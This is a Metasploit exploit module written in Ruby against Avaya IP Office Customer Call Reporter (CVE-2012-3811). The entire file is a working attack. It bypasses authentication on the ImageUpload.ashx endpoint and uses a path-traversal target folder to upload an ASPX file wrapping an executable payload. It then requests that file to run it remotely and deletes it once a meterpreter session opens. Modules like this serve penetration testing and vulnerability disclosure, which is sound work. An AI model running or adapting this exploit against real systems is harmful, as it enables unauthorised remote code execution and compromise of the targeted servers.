## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'uri' require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize super( 'Name' => 'Avaya IP Office Customer Call Reporter ImageUpload.ashx Remote Command Execution', 'Description' => %q{ This module exploits an authentication bypass vulnerability on Avaya IP Office Customer Call Reporter, which allows a remote user to upload arbitrary files through the ImageUpload.ashx component. It can be abused to upload and execute arbitrary ASP .NET code. The vulnerability has been tested successfully on Avaya IP Office Customer Call Reporter 7.0.4.2 and 8.0.8.15 on Windows 2003 SP2. }, 'Author' => [ 'rgod <rgod[at]autistici.org>', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'Platform' => 'win', 'References' => [ [ 'CVE', '2012-3811' ], [ 'OSVDB', '83399' ], [ 'BID', '54225' ], [ 'URL', 'https://downloads.avaya.com/css/P8/documents/100164021' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-106/' ] ], 'Targets' => [ [ 'Avaya IP Office Customer Call Reporter 7.0 and 8.0 / Microsoft Windows Server 2003 SP2', { } ], ], 'DefaultTarget' => 0, 'Privileged' => false, 'DisclosureDate' => 'Jun 28 2012' ) register_options( [ OptString.new('TARGETURI', [true, 'The URI path of the Avaya CCR applications', '/']) ], self.class) end # # Remove the .aspx if we get a meterpreter. # def on_new_session(cli) if cli.type != 'meterpreter' print_error("Meterpreter not used. Please manually remove #{@payload_path}") return end cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi") begin cli.fs.file.rm(@payload_path) print_good("#{@peer} - #{@payload_path} deleted") rescue ::Exception => e print_error("Unable to delete #{@payload_path}: #{e.message}") end end def exploit @peer = "#{rhost}:#{rport}" # Generate the ASPX containing the EXE containing the payload exe = generate_payload_exe aspx = Msf::Util::EXE.to_exe_aspx(exe) aspx_b64 = Rex::Text.encode_base64(aspx) uri_path = target_uri.path uri_path.path << "/" if uri_path[-1, 1] != "/" boundary = "---------------------------#{rand_text_alpha(36)}" my_data = "--#{boundary}\r\n" my_data << "Content-Disposition: form-data; name=\"RadUAG_fileName\"\r\n" my_data << "\r\n" my_data << "#{rand_text_alpha(rand(5)+3)}.aspx\r\n" my_data << "--#{boundary}\r\n" my_data << "Content-Disposition: form-data; name=\"RadUAG_data\"\r\n" my_data << "\r\n" my_data << "#{aspx_b64}\r\n" my_data << "--#{boundary}\r\n" my_data << "Content-Disposition: form-data; name=\"RadUAG_targetFolder\"\r\n" my_data << "\r\n" my_data << "../../CCRWallboardMessageBroker/\r\n" my_data << "--#{boundary}\r\n" my_data << "Content-Disposition: form-data; name=\"RadUAG_position\"\r\n" my_data << "\r\n" my_data << "0\r\n" my_data << "--#{boundary}\r\n" my_data << "Content-Disposition: form-data; name=\"RadUAG_targetPhysicalFolder\"\r\n" my_data << "\r\n" my_data << "\r\n" my_data << "--#{boundary}\r\n" my_data << "Content-Disposition: form-data; name=\"RadUAG_overwriteExistingFiles\"\r\n" my_data << "\r\n" my_data << "True\r\n" my_data << "--#{boundary}\r\n" my_data << "Content-Disposition: form-data; name=\"RadUAG_finalFileRequest\"\r\n" my_data << "\r\n" my_data << "True\r\n" my_data << "--#{boundary}\r\n" my_data << "Content-Disposition: form-data; name=\"UploadImageType\"\r\n" my_data << "\r\n" my_data << "0\r\n" my_data << "--#{boundary}\r\n" my_data << "Content-Disposition: form-data; name=\"WallboardID\"\r\n" my_data << "\r\n" my_data << "0\r\n" my_data << "--#{boundary}--\r\n" # # UPLOAD # attack_url = uri_path + "CCRWebClient/Wallboard/ImageUpload.ashx" print_status("#{@peer} - Uploading #{aspx_b64.length} bytes through #{attack_url}...") res = send_request_cgi({ 'uri' => attack_url, 'method' => 'POST', 'ctype' => "multipart/form-data; boundary=#{boundary}", 'data' => my_data, }, 20) payload_url = "" @payload_path = "" if res and res.code == 200 and res.body =~ /"Key":"RadUAG_success","Value":true/ print_good("#{@peer} - Payload uploaded successfuly") else print_error("#{@peer} - Payload upload failed") return end # Retrieve info about the uploaded payload if res.body =~ /\{"Key":"RadUAG_filePath","Value":"(.*)"\},\{"Key":"RadUAG_associatedData/ @payload_path = $1 print_status("#{@peer} - Payload stored on #{@payload_path}") else print_error("#{@peer} - The payload file path couldn't be retrieved") end if res.body =~ /\[\{"Key":"UploadedImageURL","Value":"(.*)"\}\]/ payload_url = URI($1).path else print_error("#{@peer} - The payload URI couldn't be retrieved... Aborting!") return end # # EXECUTE # print_status("#{@peer} - Executing #{payload_url}...") res = send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 20) if (!res or (res and res.code != 200)) print_error("#{@peer} - Execution failed on #{payload_url} [No Response]") return end end end